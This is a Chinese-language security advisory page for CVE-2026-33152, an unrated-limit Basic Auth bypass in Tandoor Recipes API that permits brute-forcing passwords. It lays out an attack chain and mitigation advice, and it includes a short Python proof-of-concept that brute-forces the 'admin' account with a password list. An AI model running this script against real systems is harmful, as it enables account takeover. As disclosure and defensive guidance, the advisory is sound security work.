IPBUF安全漏洞报告
English
CVE-2026-33152 CVSS 9.1 严重

CVE-2026-33152 Tandoor Recipes API认证绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33152
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tandoor Recipes

相关标签

认证绕过暴力破解Tandoor RecipesAPI安全配置错误

漏洞概述

Tandoor Recipes是一款食谱管理应用,其在2.6.0之前的版本中存在严重的API认证绕过漏洞。虽然系统前端登录页面实施了速率限制,但后端Django REST Framework配置的BasicAuthentication接口却未受保护。攻击者可利用这一差异,绕过前端限制,直接通过API端点对已知用户名进行无限制的高速暴力破解攻击。该漏洞导致系统缺乏账户锁定机制,极大增加了账号被非法接管的风险,严重威胁用户数据的机密性和完整性。

技术细节

该漏洞的核心在于Tandoor Recipes对认证组件配置的不一致性。应用使用了Django AllAuth处理Web登录,并设置了严格的速率限制(5次/分钟/IP)。然而,对于后端API,Django REST Framework默认启用了BasicAuthentication。开发人员未意识到Basic Auth接口并未受到AllAuth速率限制规则的约束。因此,攻击者可以直接向/api/等端点发送带有Authorization: Basic头的请求。由于缺乏任何频次控制和账户锁定策略,攻击者可以编写脚本,以极高的并发度对目标用户名进行字典攻击。这种差异化的安全配置使得原本用于提升用户体验的API接口成为了攻击者突破认证防线的捷径。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行的是Tandoor Recipes应用,并获取一个有效的用户名(如admin)。
STEP 2
漏洞探测
攻击者向API端点发送带有Basic Auth头部的不正确凭据,观察响应是否包含速率限制错误或锁定提示。
STEP 3
暴力破解攻击
确认无防护后,攻击者利用脚本向API端点发送大量请求,不断尝试不同的密码组合。
STEP 4
获取权限
一旦猜中正确密码,服务器返回200 OK及认证令牌或敏感数据,攻击者成功接管用户账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # Target configuration target_url = "http://target-ip/api/v1/protected-endpoint/" target_username = "admin" wordlist = ["password", "123456", "admin", "secret"] print(f"Starting brute force attack against {target_username}...") for password in wordlist: # Encode credentials to Base64 for Basic Auth credentials = f"{target_username}:{password}" b64_creds = base64.b64encode(credentials.encode()).decode() headers = { "Authorization": f"Basic {b64_creds}", "Content-Type": "application/json" } try: # Send request to API endpoint response = requests.get(target_url, headers=headers, timeout=5) # Check if authentication was successful if response.status_code == 200: print(f"[SUCCESS] Valid password found: {password}") break elif response.status_code == 401 or response.status_code == 403: print(f"[FAILED] Invalid password: {password}") else: print(f"[INFO] Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] Connection failed: {e}")

影响范围

Tandoor Recipes < 2.6.0

防御指南

临时缓解措施
如果无法立即升级版本,建议在应用防火墙(WAF)或反向代理层实施严格的IP访问频率限制(例如每分钟最多5次登录尝试),并监控包含Authorization Basic头部的异常请求。同时,应强制所有用户使用强密码以增加暴力破解的难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表